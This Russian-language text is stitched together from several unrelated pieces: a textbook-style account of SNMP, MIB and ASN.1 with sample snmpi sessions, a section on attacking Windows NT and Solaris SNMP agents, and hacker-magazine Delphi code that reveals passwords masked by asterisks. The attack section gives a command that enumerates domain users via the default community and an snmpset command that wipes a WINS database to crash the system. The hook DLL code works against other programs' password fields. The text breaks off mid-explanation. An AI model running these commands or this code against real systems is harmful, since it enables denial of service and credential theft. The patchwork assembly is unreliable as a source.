В последнее время широкое распространение получила идеология распределенного протокольного интерфейса DPI (Distributed Protocol Interface). Для транспортировки SNMP-запросов используется не только UDP-, но и TCP-протокол. Это дает возможность применять SNMP-протокол не только в локальных сетях. Форматы SNMP-DPI-запросов (версия 2.0) описаны в документе RFC-1592. Пример заголовка SNMP-запроса (изображенные поля образуют единый массив):

Поле Флаг = 0хЗ0 является признаком ASN.1-заголовка. Коды Ln представляют собой длины полей, начинающиеся с байта, который следует за кодом длины, вплоть до конца сообщения-запроса (n — номер поля длины), если не оговорено другое. Так, L1 - длина пакета-запроса от Т1 до конца пакета, a L3 — длина поля пароля. Субполя Tn — поля типа следующего за ними субполя запроса. Так, Т1=2 означает, что поле характеризуется целым числом, а Т2=4 указывает на то, что далее следует пароль (поле community, в приведенном примере Public). Цифры под рамками означают типовые значения субполей. Код ОхА является признаком GET-запроса, за ним следует поле кода PDU (=0...4, см. табл. 1.15). Блок субполей Идентификатора запроса служит для тех же целей, что и другие идентификаторы, — для определения пары запрос-отклик. Собственно идентификатор запроса может занимать один или два байта, что определяется значением Lиз. CO — статус ошибки (СО=0 - ошибки нет); ТМ — тип MIB-переменной (в приведенном примере Ох2В); ИО — индекс ошибки. Цифровой код MIB-переменной отображается последовательностью цифровых субполей, характеризующих переменную. Например, переменная 1.3.6.1.2.1.5 (в символьном выражении iso.org.dod.internet.mgmt.mib.icmp) соответствует последовательности кодов Ох2В 0хО6 0хО1 0хО2 0хО1 0хО5 0хО0.

Если произошла ошибка, поле Индекс ошибки характеризует к какой из переменных это относится; индекс ошибки является указателем переменной и устанавливается объектом управления не равным нулю для ошибок badValue. Для команды trap (тип PDU-4 в табл. 1.15) формат сообщения меняется. Значения поля Тип trap приведены в табл. 1.17.

Для поля Тип trap 0…4 поле Специальный код должно быть равно нулю. Поле Временная метка содержит число сотых долей секунды (число тиков) с момента инициации объекта управления. Так, прерывание coldStart выдается объектом через 200 мс после инициализации.

Протокол SNMP служит примером системы управления, в которой для достижения нужного результата не выдается команда, а осуществляется обмен информацией, решение принимается "на месте" в соответствии с полученными данными.

Управляющая база данных MIB

Вся управляющая информация для контроля ЭВМ и маршрутизаторов Internet концентрируются в базе данных MIB (Management Information Base, RFC-1213). Именно эти данные используются протоколом SNMP. MIB определяет, например, что программное обеспечение IP должно хранить число всех октетов, которые приняты любым из сетевых интерфейсов, управляющие программы могут только читать эту информацию.

Согласно нормативам MIB управляющая информация делится на 8 категорий (табл. 1.18).

В табл. 1.19 - 1.24 представлены наиболее важные объекты базы данных MIB, перечисленные в табл. 1.18.

Помимо простых переменных объектами MIB могут быть таблицы. Для каждой таблицы имеется один или несколько индексов.

Каждый протокол (например, IP) имеет свою таблицу преобразования адресов. Для IP это ipNetToMediaTable. Способ пропечатать таблицу преобразования с помощью программы snmpi описан ниже.

В новейшей модификации управляющей базы данных (MIB II) содержатся объекты, принадлежащие к SNMP-группе. Эта группа предоставляет информацию о SNMP-объектах, информационных потоках, статистике ошибок (табл. 1.25).

Стандарт на структуру управляющей информации (SMI) требует, чтобы все MIB-переменные были описаны и имели имена в соответствии с ASN.1 (Abstract Syntax Notation 1, формализованный синтаксис). ASN.1 является формальным языком, который обладает двумя основными чертами: нотация в документах легко читаема и понимаема; в компактном кодовом представлении информация может использоваться коммуникационными протоколами. В SMI присутствует неполный набор типов объектов, предусмотренный в ASN.1, разрешены только следующие типы примитивов: INTEGER, OCTET STRING, OBJECT IDENTIFIER и NULL. Практически в протоколе SNMP фигурируют следующие виды данных:

В MIB Internet каждый объект должен иметь имя (OBJECT IDENTIFIER), синтакс и метод кодировки.

Стандарт ASN.1 определяет форму представления информации и имен. Имена MIB-переменных соответствуют в свою очередь стандартам ISO и CCITT. Структура имен носит иерархический характер.

В табл. 1.26 охарактеризованы четыре простые переменные. Все эти переменные допускают только чтение.

В табл. 1.27 приведено описание таблицы udpTable (index=<udpLocalAddress>,<udpLocalPort>), состоящей из двух простых переменных, предназначенных только для чтения.

Согласно иерархии переменные, соответствующие icmp, должны иметь префикс (идентификатор) 1.3.6.1.2.1.5 или в символьном выражении iso.org.dod.internet.mgmt.mib.icmp. Если вы хотите узнать значение какой-то переменной, следует послать запрос, содержащий соответствующие префикс и суффикс (последний определяет имя конкретной переменной). Для простой переменной суффикс имеет вид .0.

Лучшим способом закрепить в памяти все вышесказанное является использование программы snmpi (SNMP initiator или SNMPWALK, NETGUARD, SNMPMAN для PC). Если в вашем распоряжении имеется ЭВМ, работающая под управлением UNIX, например SUN, вы можете попутно узнать много полезного о вашей локальной сети. Синтаксис обращения к snmpi:

snmpi [-a agent] [-с community] [-f file] [-p portno] [-d] [-v] [-w]

Программа snmpi крайне проста. Для того чтобы проверить, работает ли она, выдайте команду.

% snmpi dump

Следует отметить, что в ответ на эту операций будет произведена весьма объемная выдача.

Если вы работаете на IBM PC, и ваша машина подключена к локальной сети, получите допуск к одной из UNIX-машин в сети (если вы его не имели) и приступайте. Можно начать с обращения типа.

Snmpi -a 193.124.224.33

(адрес или символьное имя надо взять из вашей локальной сети).

Машина откликнется, отобразив на экране snmpi>. Это означает, что программа имеется и вы можете вводить любые команды.

Начать можно со знакомства с системными переменными системы.

Snmpi> get sysDescr.0
Snmpi> sysDescr.0="GS Software (GS3-K), Version 9.1(4) [fc1], 
  SOFTWARE Copyright ї 1986-1993 by Cisco Systems, Inc. 
  Compiled Thu 25-Mar-93 09:49 by daveu"
snmpi> get sysObjectID.0
snmpi> sys0bjectlD.0=1.3.6.1.4.1.9.1.1
snmpi> get sysUpTime.0
snmpi> sysUpTime.0=14 days, 7 hours, 0 minutes, 15.27 seconds (123481527 timeticks)
snmpi> get sysServices.0
snmpi> sysServices.0=0x6<datalink/subnetwork, internet>

Код 0x06 (sysServices.0) представляет собой сумму кодов уровней модели SO, поддерживаемых системой. Для справок: 0хО1 - физический уровень; 0хО2 связной уровень; 0хО4 - Интернет; 0хО8 - связь точка-точка; 0хЧ0 - прикладной уровень.

Если вы хотите получить информацию о состоянии интерфейсов на одной из ЭВМ, подключенных к вашей локальной сети (команды вызова snmpi далее не повторяются; в ниже приведенных примерах в круглых скобках помещены комментарии автора), выдайте команды:

snmpi> nextifTable

(команда next в данном случае соответствует запросу get-next, здесь понятие "следующий" подразумевает порядок переменных в М1В).

snmpi> iflndex.1=1
snmpi> get ifDescr.1
snmpi> ifDescr.1="Ethernet0"
snmpi> get ifType.1
snmpi> ifType.1=ethernet-csmacd (6)
snmpi > get ifMtu.1
snmpi> IfMtu.1=1500
snmpi> get ifSpeed.1
snmpi> ifSpeed.1=10000000 (10М бит/с, Ethernet)
snmpi> get ifPhysAddress.1
snmpi> ifPhysAddress.1=0хО0:00:0c:02:За:49 (физический адрес интерфейса)
snmpi> next ifDescr.1 ifType.1 ifMtu.1 ifSpeed.1 ifPhysAddress.1
snmpi> ifDescr.2="Serial0"
ifType.2=propPointToPointSerial(22)
ifMtu.2=1500
ifSpeed.2=2048000 (2 M бит/с, радиорелейный последовательный канал, 
  спутниковый канал был бы охарактеризован точно также)

В приведенном примере размеры пересылаемых блоков для Ethernet и радиорелейного последовательного канала идентичны и равны 1500 байт. Помните, что SLIP-канал записан как PointToPointSerial, а не как SLIP. Скорость обмена по SLIP-каналу не сообщается.

Теперь просмотрим некоторые UDP-переменные. Например:

snmpi> next udp
snmpi> udpInDatagrams.0=98931
snmpi> next udpInDatagrams.0 (обратите внимание на суффикс простой переменной)
snmpi> udpNoPorts. 0=60009
snmpi> next udpLocalAddress.0
snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14 (Идентификатор этого 
  объекта 1.3.6.1.2.1.7.5.1.1.193.124.137.14.7)
snmpi> next udpLocalPort
snmpi> udpLocalPort.193.124.137.14.7=7

Если у вас возникла необходимость просмотреть таблицу, например, udpTable, это также можно сделать, используя snmpi:

snmpi> next udpTable
snmpi> udpLocalAddress.193.124.137.14.7=193.124.137.14
snmpi> next udpLocalAddress.193.124.137.14.7
snmpi> udpLocalAddress.193.124.224.33.67=193.124.224.33
snmpi> next udpLocalAddress.193.124.224.33.67
snmpi> udpLocalAddress.193.124.224.33.161=193.124.224.33
snmpi> next udpLocalPort.193.124.224.33.67
snmpi> udpLocalPort.193.124.224.33.161=161

Ниже показана методика выяснения алгоритма и параметров задания значения тайм-аута:

snmpi> get tcpRtoAlgorithm.0 tcpRtoMin.0 tcpRtoMax.0 tcpMaxConn.0 
snmpi> tcpRtoAlgorithm.0=vanj(4) (vanj - алгоритм Ван Джакобсона для расчета времени тайм-аута)
tcpRtoMin.0=300 (минимальное значение тайм-аута = 300 мс)
tcpRtoMax.0=60000 (максимальное - 60 с)
tcpMaxConn.0=-1 (никаких ограничений на число соединений)

Чтобы получить информацию о состоянии таблицы адресных преобразований, выдайте команду snmpi -а 193.124.224.33 dump at (процедуры с использование субкоманды dump требуют некоторого времени для своего исполнения). В результате получим:

AtIfIndex.1.1.193.124.224.33=1
AtIfIndex.1.1.193.124.224.35=1
AtIfIndex.3.1.192.148.166.203=3
AtIfIndex.3.1.192.148.166.205=3
AtIfIndex.5.1.145.249.30.33=5
AtIfIndex.5.1.192.148.166.98=5
AtPhysAddress.1.1.193.124.224.33=0x00:00:0c:02:3a:49
AtPhysAddress.1.1.193.124.224.35=0x00:00:20:12:1b:b1
AtPhysAddress.1.1.193.124.224.40=0x00:00:cd:f9:0d:e7
AtPhysAddress.1.1.193.124.224.50=0x00:00:0c:02:fb:c5
AtNetAddress.1.1.193.124.224.33=193.124.224.33
AtNetAddress.1.1.193.124.224.35=193.124.224.35
AtNetAddress.1.1.193.124.224.40=193.124.224.40
AtNetAddress.1.1.193.124.224.50=193.124.224.50
AtNetAddress.1.1.193.124.224.60=193.124.224.60

(текст выдачи сокращен).

Обычно элементы таблицы расположены в порядке колонка-ряд. Если вы дошли до края колонки или всей таблицы, ЭВМ выдаст (в зависимости от реализации программы) имя и значение следующего элемента или сообщение об ошибке.

Чтобы получить полный текст адресной таблицы в рамках snmpi достаточно выдать команду.

Snmpi> dump ipAddrTable
Snmpi> ipAdEntAddr.192.148.166.222=192.148.166.222
IpAdEntAddr.192.168.1.1=192.168.1.1
IpAdEntAddr.192.168.1.2=192.168.1.2
IpAdEntAddr.193.124.224.33=193.124.224.33
IpAdEntAddr.193.124.224.190=193.124.224.190
IpAdEntIfIndex.192.148.166.222=3
IpAdEntIfIndex.192.148.1.1=4
IpAdEntIfIndex.192.148.1.2=6
IpAdEntIfIndex.192.148.224.33=1
IpAdEntIfIndex.192.148.224.190=5

(маски субсетей).

IpAdEntNetMask.192.148.166.222=255.255.255.224
IpAdEntNetMask.192.148.1.1=255.255.255.0
IpAdEntNetMask.192.148.1.2=255.255.255.0
IpAdEntNetMask.192.148.224.33=255.255.255.224
IpAdEntNetMask.192.148.224.190=255.255.255.224
IpAdEntBcastAddr.192.148.166.222=1 (все эти субсети используют для широковещательной 
  адресации одни и те же биты).
IpAdEntBcastAddr.192.148.1.1=1
IpAdEntBcastAddr.192.148.1.2=1
IpAdEntBcastAddr.192.148.224.33=1
IpAdEntBcastAddr.192.148.224.190=1
IpAdEntReasmMaxSize.192.148.166.222=18024 (с точки зрения фрагментации и последующей 
  сборки дейтограмм данные субсети эквивалентны).
IpAdEntReasmMaxSize.192.148.1.1=18024
IpAdEntReasmMaxSize.192.148.1.2=18024
IpAdEntReasmMaxSize.192.148.224.33=18024
IpAdEntReasmMaxSize.192.148.224.190=18024

Эта распечатка совместно с приведенной для IfTable позволяет получить достаточно полную картину о данной конкретной локальной сети. Чтобы познакомиться с ARP таблицей, можно воспользоваться командой.

Sun> arp -a
Itepgw.itep.ru (193.124.224.33) at 0:0:c:2:3a:49
Nb.itep.ru (193.124.224.60) at 0:80:ad:2:24:b7

И дополнить полученные данные с помощью snmpi:

Snmpi> dump ipNetToMediaTable
Snmpi> ipNetToMediaIfIndex.1.193.124.224.33=1
ipNetToMediaIfIndex.1.193.124.224.35=1
ipNetToMediaIfIndex.3.192.148.166.193=3
ipNetToMediaIfIndex.3.192.148.166.196=3
ipNetToMediaIfIndex.3.193.124.226.110=3
ipNetToMediaIfIndex.5.195.249.30.33=5
ipNetToMediaIfIndex.5.192.148.166.100=5
ipNetToMediaPhysAddress.1.193.124.224.33=0x00:00:0c:02:3a:49
ipNetToMediaPhysAddress.3.192.148.166.196=0xaa:00:04:00:0c:04
ipNetToMediaPhysAddress.3.192.148.166.198=0xaa:00:04:00:0e:04
ipNetToMediaPhysAddress.3.192.148.166.203=0x00:00:01:00:54:62

ipNetToMediaPhysAddress.5.195.249.30.33=0x00:00:0c:02:69:7d
IpNetToMediaPhysAddress.5.192.148.166.100=0x00: 20:af: 15:c1: 61
IpNetToMediaPhysAddress.5.192.148.166.101=0x00:00:09:42:0d:e8
IpNetToMediaNetAddress.1.193.124.224.33=193.124.224.33
IpNetToMediaNetAddress.1.193.124.224.35=193.124.224.35
IpNetToMediaNetAddress.3.192.148.166.193=192.148.166.193
IpNetToMediaNetAddress.3.193.124.226.110=193.124.226.110
IpNetToMediaNetAddress.5.195.249.30.33=195.249.30.33
IpNetToMediaType.1.193.124.224.33=other(1)
IpNetToMediaType.1.193.124.224.35=dynamic(3)
IpNetToMediaType.1.193.124.224.37=dynamic(3)
IpNetToMediaType.3.192.148.166.195=dynamic(3)
IpNetToMediaType.3.192.148.166.222= other(1)
IpNetToMediaType.5.193.124.224.190= other(1)
IpNetToMediaType.5.193.124.225.33= other(1)
IpNetToMediaType.5.193.124.225.35=dynamic(3)

Синтаксис каждого объекта описывается в рамках ASN.1 и показывает побитовое представление объекта. Кодирование объекта характеризует то, как тип объекта отображается через его синтаксис и передается по телекоммуникационным каналам. Кодирование производится в соответствии с базовыми правилами кодирование ASN.1. Все описания объектов базируются на типовых шаблонах и кодах ASN.1 (см. RFC-1213). Формат шаблона:

OBJECT (объект):

Имя типа объекта с соответствующим ему идентификатором объекта.

(OBJECT IDENTIFIER)

Маршруты также являются объектами MIB. Согласно требованиям к MIB, каждому маршруту в этой базе соответствует запись.

Поле Место назначения представляет собой IP-адрес конечной точки маршрута. Поле Индекс интерфейса определяет локальный интерфейс (физический порт), через который можно осуществить следующий шаг по маршруту. Следующие пять полей (Метрика 1…5) характеризует оценку маршрута. В простейшем случае, например для протокола RIP, достаточно было бы одного поля. Но для протокола OSPF необходимо пять полей (разные TOS). Поле Следующий шаг представляет собой IP-адрес следующего маршрутизатора. Поле Тип маршрута имеет значение 4 для опосредованного достижения цели маршрута; 2 для нереализуемого маршрута и 1 для случаев, отличных от вышеперечисленных.

Поле Протокол маршрутизации содержит код протокола. Для RIP этот код равен 8, для OSPF -13, для BGP -14, для ICMP -4, для прочих протоколов -1. Поле Возраст маршрута описывает время (в секундах), прошедшее с момента последней коррекции маршрута. Следующее поле Маска маршрута используется для выполнения логической побитовой операции И над адресом в IP-дейтограмме перед сравнением результата с кодом, хранящимся в первом поле записи ("место назначения"). Последнее поле Маршрутная информация содержит код, зависящий от протокола маршрутизации и обеспечивающий ссылки на соответствующую информацию в базе MIB.

Описание протокола SNMP (Simple Network Management Protocol).

Все серьезные системы управления сетями используют для своей работы простой сетевой протокол управления (Simple Network Management Protocol, SNMP). На самом деле SNMP - это не просто протокол, а целая технология, призванная обеспечить управление и контроль за устройствами и приложениями в сети. С ее помощью можно контролировать абсолютно любые устройства, подключенные к компьютерной сети, например датчики пожаротушения или даже светофоры. Разумеется, SNMP можно использовать (и это активно делают) для управления сетевыми компонентами: концентраторами, серверами, маршрутизаторами и т. п. Пользуясь информацией SNMP (такой, как показатель числа пакетов в секунду и коэффициент сетевых ошибок), сетевые администраторы могут более просто управлять производительностью сети и обнаруживать и решать сетевые проблемы.

Три составляющие части технологии SNMP: структура управляющей информации (Structure of Management Information, SMI) базы управляющей информации (Management Information Base, MIB) сам протокол SNMP.

Модель управления SNMP

Агентами в SNMP являются программные модули, которые работают в управляемых устройствах. Агенты собирают информацию об управляемых устройствах, в которых они работают, и делают эту информацию доступной для систем управления сетями (network management systems - NMS) с помощью протокола SNMP.

Протокол SNMP v1

SNMP реализован в 1988 практически во всех широко распространенных сетевых средах: TCP/IP, IPX/SPX, AppleTalk и др. Основной концепцией протокола является то, что вся необходимая для управления устройством информация хранится на самом устройстве - будь то сервер, модем или маршрутизатор - в так называемой Административной Базе Данных ( MIB - Management Information Base ). SNMP как непосредственно сетевой протокол предоставляет только набор команд для работы с переменными MIB. Этот набор включает следующие операции:

Для того, чтобы проконтролировать работу некоторого устройства сети, необходимо просто получить доступ к его MIB, которая постоянно обновляется самим устройством, и проанализировать значения некоторых переменных.

Формат сообщений

Сообщения SNMP состоят из 2 частей: имени сообщества (community name) и данных (data). Имя сообщества назначает среду доступа для набора NMS, которые используют это имя. Информационная часть сообщения содержит специфичную операцию SNMP (get, set, и т.д.) и связанные с ней операнды. Операнды обозначают реализации об'екта, которые включены в данную транзакцию SNMP.

Structure of Managment Information. RFC 1208

Определяет логику адресации информации при взаимодействии агентов и менеджеров SNMP. Синтиксис описывается абстрактными правилами Abstract Syntax Notation One, ASN.1.

Managment Information Base (MIB, MIB-II). RFC 1213

MIB представляет из себя набор переменных, характеризующих состояние объекта управления. Эти переменные могут отражать такие параметры, как количество пакетов, обработанных устройством, состояние его интерфейсов, время функционирования устройства и т.п. Каждый производитель сетевого оборудования, помимо стандартных переменных, включает в MIB какие-либо параметры, специфичные для данного устройства (в поддерево private enterprise).

Как происходит адресация в MIB к некоторой ее переменной?

По своей структуре MIB представляет из себя дерево.Каждому элементу соответствует численный и символьный идентификатор. В имя переменной включается полный путь до нее от корневого элемента root.

Например, время работы устройства с момента перезагрузки хранится в переменной, находящейся в разделе system под номером 3 и называется sysUpTime. Соответственно, имя переменной будет включать весь путь: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3); или на языке чисел: 1.3.6.1.2.1.1.3. Следует заметить, что при этом узлы дерева разделяются точками.

Существует стандартная ветвь MIB, относящаяся к разделу управления mgmt, которую обычно поддерживают все сетевые устройства.

Тестирование сети с помощью SNMP

При помощи SNMP можно выполнять различные тесты функциональных возможностей сетевых устройств, определенные опять же на самих устройствах. Это бывает полезно, поскольку просто наблюдение статистики зачастую не дает полной картины происходящего.

Так, например, для раздела, относящегося к интерфейсам Ethernet, определен тест TDR (Time-domain reflectometry), позволяющий определять приблизительное расстояние до повреждения в коаксиальном кабеле. Для того, чтобы запустить TDR тест необходимо установить значение переменной ifЕхtnsТеstТуре (1.3.6.1.2.1.12.2.1.4), содержащей тип выполняемого теста, так, чтобы она содержала идентификатор теста TDR в MIB: 1.3.6.1.2.1.10.7.6.1.

Результатом теста будет, во-первых, значение переменной ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), характеризующей исход теста:

И во-вторых, значение переменной ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) будет содержать идентификатор переменной MIB, содержащей результат теста. Результат теста определен как временной интервал в 100-наносекундных единицах между началом передачи тестового пакета и обнаружением коллизий в несущей. В принципе, на основании данного значения можно определить требуемое расстояние.

SNMP v2

Фундаментальным новшеством в SNMPv2 является то, что элемент администрирования сети может работать в качестве менеджера, агента или менеджера и агента одновременно. Данная концепция дает возможность пользователям применять SNMP в иерархической структуре, в которой локальные менеджеры отчитываются перед менеджерами среднего звена, которые, в свою очередь, контролируются менеджером высшего уровня. Немало места отводится проблемам защищенности SNMP, пожалуй, самой уязвимой точки протокола.

Безопасность SNMP. RFC 1352.

Один из наиболее заметных недостатков SNMP v1 - отсутствие развитой системы защиты данных на уровне, необходимом для сетей масштаба предприятия.

Как сказал Mike Warfield: "SNMP stands for Security Not My Problem".

В SNMPv1 защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (Community Name), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство (известное под названием тривиальный протокол) требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. К тому же вся критически важная информация передавалась в открытом виде,поэтому в интернете доступен даже snmp sniffer.

В связи с этим были разработаны предложения по совершенствованию защиты в рамках SNMPv1, представленные в июле 1992 г.; они составили основу структуры защиты для SNMPv2.

Стандартами защиты SNMPv2 определяются методы аутентификации (DAP - Digest Authentication Protocol) и обеспечения конфиденциальности (SPP -Symmetric Privacy Protocol) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером.

Проблемы внедрения SNMPv2

SNMPv2 сулит выгоды в плане защиты и производительности, что немаловажно для пользователей. Но некоторые компании наверняка предложат свои собственные идеи, особенно в части защиты и связей между менеджерами. Кроме того, фирмы, расширившие функциональные возможности своих баз данных MIB в средах с SNMPv1, вряд ли будут спешить с выпуском продуктов под SNMPv2.

Несомненно,пользователи захотят иметь продукты на базе SNMPv2. Но дело в том, что многие уже вложили слишком большие средства в версию SNMPv1, чтобы просто выбросить ее и начать все с нуля. Авторы SNMPv2 предвидели это и исходили из постепенности перехода на новую технологию. Предусмотрены два способа сохранения SNMPv1: использование уполномоченных агентов и двуязычных менеджеров. Уполномоченный агент выполняет преобразование форматов SNMPv1 в сообщения SNMPv2 и обратно.

Другой вариант - двуязычный менеджер, который одновременно поддерживает оба протокола (SNMPv1 и SNMPv2) и не требует преобразований. Двуязычный менеджер SNMP определяет, с каким форматом работает агент - версии 1 или версии 2, и общается на соответствующем диалекте. Таким образом, выбор версии протокола должен быть прозрачен для принимающих устройств.

К сожалению,вторая версия SNMP так до сих пор и не утверждена, поэтому в стане сетевого управления наблюдается разброд и шатания.

Доступные реализации агентов и менеджеров

http://www.microsoft.com/smsmgmt/ MS SMS Netmon.

http://www.winfiles.com/apps/98/net-manage.html куча разнообразных агентов и менеджеров для Win95.

Epilogue предлагает ПО, реализующее поддержку SNMP, включающую:

Атака на Windows SNMP.

Сервисы работают на следующих UDP портах (/etc/services).

Интересные SMI Network Management Private Enterprise Codes:

Prefix: 1.3.6.1.4.1.

Небольшое распространение сканнеров UDP портов под Windows, SNMP менеджеров, а также отсутствие знаний о самом протоколе является, по всей видимости, единственной причиной малочисленности атак на устройства под управление SNMP v1, так как в реализациях этого протокола в некоторых операционные системы допущены серьезные ошибки. Подтверждения этому то и дело появляются в списках рассылки bugtraq.

Уязвимость в стандартной конфиругации Windows NT SNMP Сервиса.

Позволяет удаленно конфигурировать сетевые парамерты, которые влияют на безопасность и правильное функционирования системы (если администратор сам запустил SNMP Service).

При конфигурации по умолчанию, SNMP service отвечает на стандартное community ( имя ) "public", которое обладает права на чтение и запись. Community - это имя, которое обладает такими же функциями, как логин и пароль в системах.

Протокол SNMP предоставляет два уровня полномочий : read-only and read-write, однако до выхода SP4 Windows NT SNMP Service не позволял конфигурировать communities по доступу, отличному от read-write!

Если попытать обезопасить SNMP Service путем переименования community для доступа, то система останется незащищенной от крякера, имеющего аккаунт на машине, так как параметры SNMP Service находятся в регистри и доступны всем пользователям на чтение. Также Windows NT SNMP Service обладает возможностью ограничить доступ для списков IP-адресов. На первый взгляд это позволяет защититься от атак неизвестных систем, однако это не является проблемой для крякеров (что необходимо понимать любому администратору), так как протокол SNMP использует UDP протокол для обмена информацией, а он является протоколом без установления соединения, поэтому возможна подмена исходящего адреса (но для этого придется переработать исходники SNMP менеджеров под Unix и изучить UDP spoofing).

SNMP "set" операции ( позволяющие менять значение переменных ) могут быть произведены с подменой обратного адреса на любой, так как ответ не нужен. Однако если включено ограничение доверенных IP адресов, но придется найти аккаунт на атакуемой системе и извлечь доверенную информацию из регистри.

Благодаря сконфигурированному по умолчанию Windows NT SNMP Сервису мы можем извлечь с помощью SNMP менеджера следующую информацию :

Как рекомендовалось в ISS sсаnnеr'е, можно выключить эту порцию SNMP mibs таким способом:

Устанавливая переменные, крякер может модифицировать таблицу роуминга, ARP таблицу, выключить сетевые интерфейсы, сбить существенные сетевые параметры типа default IP, время жизни пакетов (TTL), IP forwarding (позволит крякеру перенаправлять сетевой трафик). Это особенно опасно, если атакуемая машина является фаерволом.

За примерами далеко ходить не надо, например, если машина является domain controller или server, но получить список всех пользователей в домене можно командой C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25.

Если вам хочется удалить все записи в базе данных WINS ( что приведет к полному отказу WinNT ), то для этого необходимо выполнить ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2 из набора CMU SNMP development kit under Unix.

Также есть очень любопытная деталь при установки SNMP community names в Windows NT 4.0 (SP3). Если сервис включен, а имена не сконфигурированы, то любое имя будет давать read/write привилегии. Как оказалось, это указано еще в спецификации SNMP ( RFC 1157 )!

Четвертый СервисПак(SP4) предоставляет следующее решение проблемы: добавление контроля доступа community как READ ONLY,READ WRITE или READE CREATE. Однако по умолчанию SP4 устанавливает READ CREATE доступ, который все еще позволяет атаковать машины. Микрософт явно заботиться об удобстве WinNT для хакеров :).

Лучший способ защиты по рекомендации M$: заблокировать SNMP access на firеwаll'е.

Проблема в OS Solaris версии до 2.6.

Исходя из ISS Security Advisory (November 2nd, 1998), в агенте SNMP, который по умолчанию запущен в этой системе, существуют реальные угрозы получить доступ на уровне рута, манипулировать процессами и параметрами машины.

Для доступа к MIB-информации существует скрытая "undocumented community string", которая позволит атакующему изменить большинство системных параметров.

К сожалению, само это community не называется, однако ISS Internet Scanner и ISS RealSecure real-time intrusion detection могут детектировать эту проблемы, т.е. посмотреть можно и в их исходниках.

Увидеть пароль скрытый за звёздочками 2.

Наверно так: хотя классов может быть больше.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Wnd: HWND;
  lpClassName: array[0..$FF] of Char;
begin
  Wnd := WindowFromPoint(Mouse.CursorPos);
  GetClassName(Wnd, lpClassName, $FF);
  if ((strpas(lpClassName) = 'TEdit') or (strpas(lpClassName) = 'EDIT')) then
    PostMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0);
end;

Здесь проблема: если страница памяти защищена, то её нельзя прочитать таким способом, но можно заменить PasswordChar(пример: поле ввода пароля в удаленном соединении).

Увидеть пароль скрытый за звёздочками.

Создание и использование DLL:

Благодаря твоим просьбам и запросам из HackFaq мне приходится отходить от плана согласованного с главредом. С одной стороны, ты толкаешь меня под окровавленный кровью авторов Х нож главреда. С другой стороны ты мне усложняешь жизнь по самые «не хочу». В любом случае, ничего хорошего. Если так пойдёт и дальше, то на ноже SinТЕZа появится моя свежая кровь. И следующий репортаж о кодинге мне придётся вести уже из морга.

Но что поделаешь. Сегодня мне приходится корректировать свой план и выполнять твои просьбы. В этом номере обе статьи кодинга построены по самым многочисленным просьбам.

Эта статья отвечает на наиболее часто задаваемый вопрос из HackFaq: «Как увидеть пароль спрятанный под звёздочками?». Для этого есть куча разных прог. Но мы же с тобой совместимые челы, поэтому не юзаем чужие творения. Вот поэтому мы создадим такую прогу сами. Тем более, что сам попросил объяснить, как это работает.

Шкодинг:

Для этого примера я написал DLL файл, который будет сейчас расписан перед твоими глазами. Ничего особо визуального мы сегодня делать не будем. Только кодинг и ничего больше. Кстати, я уже перешёл на Delphi 6, так что все исходники теперь будут писаться в нём. Если ты до сих пор застрял в Delphi 5, то бегом на рынок за свеженьким диском.

Для начала создадим новый проект. Но не тот, который использовали до этого, а проект DLL библиотеки. Для этого выбирай меню File->New->Other … (для Delphi 5 это просто File->New). Перед тобой откроется окно. Найди здесь пункт DLL Wizard и дважды кликни по нему. Delphi создаст пустой проект DLL библиотеки. Сразу нажми пимпу «Save», чтобы сохранить проект. В качестве имени введи «hackpass», это же и будет именем dll файла.

Теперь сотри весь текст, который написал Delphi и напиши:

library hackpass;
uses Windows, Messages;
var
 SysHook : HHook = 0;
 Wnd : Hwnd = 0;
function SysMsgProc(code : integer; wParam : word;
 lParam : longint) : longint; stdcall;
begin
 // Передать сообщение другим ловушкам в системе
 CallNextHookEx(SysHook, Code, wParam, lParam);
 // Проверяю сообщение
 if code = HC_ACTION then
 begin
   // Получаю идентификатор окна сгенерировавшего сообщение
   Wnd := TMsg(Pointer(lParam)^).hwnd;
   // Проверяю тип сообщения.
   // Если была нажата левая кнопка мыши
   // и удержана кнопка Control, то …
   if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
     if ((TMsg(Pointer(lParam)^).wParam and MK_CONTROL) = MK_CONTROL) then
     begin
       // Убрать в окне отправившем сообщение зв¸здочки
       SendMessage(Wnd, em_setpasswordchar, 0, 0);
       // Перерисовать окно.
       InvalidateRect(Wnd, nil, true);
      end;
  end;
end;
// Процедура запуска.
procedure RunStopHook(State : Boolean) export; stdcall;
begin
 // Если State = true, то...
 if State=true then
 begin
   // Запускаем ловушку.
   SysHook := SetWindowsHookEx(WH_GETMESSAGE,
      @SysMsgProc, HInstance, 0);
 end
 else// Иначе
 begin
   // Отключить ловушку.
   UnhookWindowsHookEx(SysHook);
   SysHook := 0;
 end;
end;
exports RunStopHook index 1;
begin
end.

Теория:

Самое основное в нашей DLL – это процедура RunStopHook. Ей передаётся один только параметр. Если он равен true, то я регистрирую ловушку, которая будет ловить все сообщения Windows на себя. Для этого используется функция SetWindowsHookEx. У этой функции четыре параметра:

В качестве второго параметра я указал имя функции SysMsgProc. Она так же описана в этой dll. Давай на неё посмотрим.

Ловушка для сообщений:

